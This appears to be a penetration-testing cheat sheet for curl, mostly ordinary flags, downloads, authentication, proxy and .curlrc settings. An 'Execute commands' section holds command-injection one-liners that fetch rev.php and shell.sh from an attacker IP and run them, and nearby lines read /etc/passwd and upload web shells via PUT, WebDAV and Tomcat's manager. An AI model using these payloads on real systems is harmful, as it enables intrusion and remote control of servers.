14Other
Curl
- Common commands
bash74 lines
# -d, --data HTTP POST data# -f, --fail Fail silently (no output at all) on HTTP errors# -i, --include Include protocol response headers in the output# -o, --output Write to file instead of stdout# -O, --remote-name Write output to a file named as the remote file# -s, --silent Silent mode# -T, --upload-file Transfer local FILE to destination# -A, --user-agent Send User-Agent <name> to server# -v, --verbose Make the operation more talkative# -V, --version Show version number and quit# -u, --user <user:password> Server user and password
## ------------------| Read local filescurl file:///etc/passwd
## ------------------| Execute commandscurl http://10.10.14.26/$(whoami)curl http://10.10.14.26/$(which$IFS'curl')curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/var/www/html/rev.php'$IFS'http://10.10.14.26/rev.php')curl http://10.10.14.26/$(curl$IFS'-o'$IFS'/tmp/shell.sh'$IFS'http://10.10.14.26/shell.sh')curl http://10.10.14.26/$(bash$IFS/tmp/shell.sh)
## ------------------| Basiccurl -L http://h4rithd.com ### Follow redirectscurl -I http://h4rithd.com ### Fetch headers onlycurl -O http://h4rithd.com/file.txt. ### Download a file with its original namecurl -o b.zip http://h4rithd.com/a.zip ### Download file and renamecurl -C - -O http://h4rithd.com/a.zip ### Resume an interrupted downloadcurl --compressed http://h4rithd.com ### Request compressed response (gzip, deflate)curl -4 http://h4rithd.com ### Force IPv4curl -6 http://h4rithd.com ### Force IPv6
## ------------------| Authenticationcurl -u username:password http://h4rithd.com ### Basic authenticationcurl --basic -u user:pass http://h4rithd.com ### Explicitly use basic authenticationcurl --digest -u user:pass http://h4rithd.com ### Digest authenticationcurl --ntlm -u user:pass http://h4rithd.com ### NTLM authentication
## ------------------| Cookiescurl -b cookies.txt http://h4rithd.com ### Send cookies from a filecurl -c cookies.txt http://h4rithd.com ### Save received cookies to a filecurl -b "name=value" http://h4rithd.com ### Send cookies inline
## ------------------| Uploading Filescurl -T file.txt ftp://h4rithd.com/ ### Upload a file to FTPcurl -T file.txt -u user:pass ftp://h4rithd.com/ ### Upload with authentication
## ------------------| Debugging & Verbose Outputcurl -v http://h4rithd.com ### Verbose output (see request/response headers)curl -i http://h4rithd.com ### Show response headerscurl -s http://h4rithd.com ### Silent mode (no progress output)curl --trace trace.txt http://h4rithd.com ### Save request/response trace to a filecurl --trace-ascii trace.txt http://h4rithd.com ### ASCII-only trace file
## ------------------| Rate Limiting & Timeoutcurl --limit-rate 100k http://h4rithd.com/a.zip ### Limit download speedcurl --max-time 10 http://h4rithd.com ### Timeout after 10 secondscurl --connect-timeout 5 http://h4rithd.com ### Timeout if connection takes more than 5 seconds
## ------------------| Handling SSL & Certificatescurl -k https://h4rithd.com ### Ignore SSL certificate errorscurl --cacert ca.pem https://h4rithd.com ### Use a custom CA certificatecurl --ssl-reqd ftp://h4rithd.com/ ### Require SSL/TLS for FTPcurl --cert client.pem --key client.key https://h4rithd.com ### Use client certificate authentication
## ------------------| Parallel Requestscurl -Z http://h4rithd.com/a http://h4rithd.com/b ### Download multiple files in parallelcurl -O http://h4rithd.com/a -O http://h4rithd.com/b ### Download multiple files sequentially
## ------------------| Handling FTPcurl -u user:pass ftp://h4rithd.com/file.txt ### Download a file via FTPcurl -u user:pass -T file.txt ftp://h4rithd.com/ ### Upload a file via FTPcurl -u user:pass ftp://h4rithd.com/ -Q "DELE file.txt" ### Delete a file via FTP- Use PUT command to upload file
bash9 lines
curl -X PUT http://10.10.10.15/h4rithd.html -d @shell.aspxcurl -X PUT http://10.10.10.15/harith.txt --data-binary @cmdasp.aspx
# If DEV available ?curl -u 'username:password' --upload-file shell.php http://10.10.10.67/webdav_test_inception/shell.phpcurl -u 'username:password' -X PUT http://10.10.10.67/webdav_test_inception/shell.php --data-binary @shell.php
# Upload war file to tomcatcurl -u 'username:password' -T shell.war http://10.10.10.10:8080/manager/text/deploy?path=/h4rithd- Use MOVE command to move file
bash1 line
curl -X MOVE http://10.10.10.15/h4rithd.html -H 'Destination:http://10.10.10.15/h4rithd.aspx'.curlrcfile
bash40 lines
## ------------------| Basic Settingsuser-agent = "Mozilla/5.0" ### Set a default User-Agentreferer = "https://h4rithd.com" ### Set a default Refererheader = "X-Custom-Header: myvalue" ### Set a custom headercompressed ### Enable gzip/deflate compression by defaultlocation ### Follow redirectsmax-time = 30 ### Set a timeout for requests (seconds)connect-timeout = 10 ### Timeout for connection attempts (seconds)retry = 3 ### Number of retry attempts on transient errorsipv4 ### Force using IPv4ipv6 ### Force using IPv6fail ### Fail silently on HTTP errorssilent ### Suppress progress outputoutput = "output.txt" ### Save response to a file by default
## ------------------| Authentication & Credentialsuser = "username:password" ### Set default credentials for authenticationproxy-user = "proxyuser:proxypass" ### Set credentials for a proxy servernetrc ### Use .netrc for authentication
## ------------------| Proxy Settingsproxy = "http://127.0.0.1:8080" ### Set an HTTP proxyproxy = "socks5://127.0.0.1:1080" ### Use a SOCKS5 proxynoproxy = "localhost,127.0.0.1,a.com" ### Exclude domains from proxy usage
## ------------------| SSL & Certificatesinsecure ### Ignore SSL certificate validation errorscacert = "/path/to/cacert.pem" ### Specify a custom CA certificatecert = "/path/to/client.crt" ### Specify a client certificatekey = "/path/to/client.key" ### Specify a private key file
## ------------------| Cookie & Session Managementcookie = "name=value" ### Set default cookiescookie-jar = "/path/to/cookies.txt" ### Save cookies after executioncookie-file = "/path/to/cookies.txt" ### Load cookies from a file
## ------------------| Debugging & Loggingverbose ### Enable verbose mode for debuggingtrace = "/path/to/trace.log" ### Save request/response trace to a filetrace-ascii = "/path/to/trace.txt" ### Save ASCII-only trace output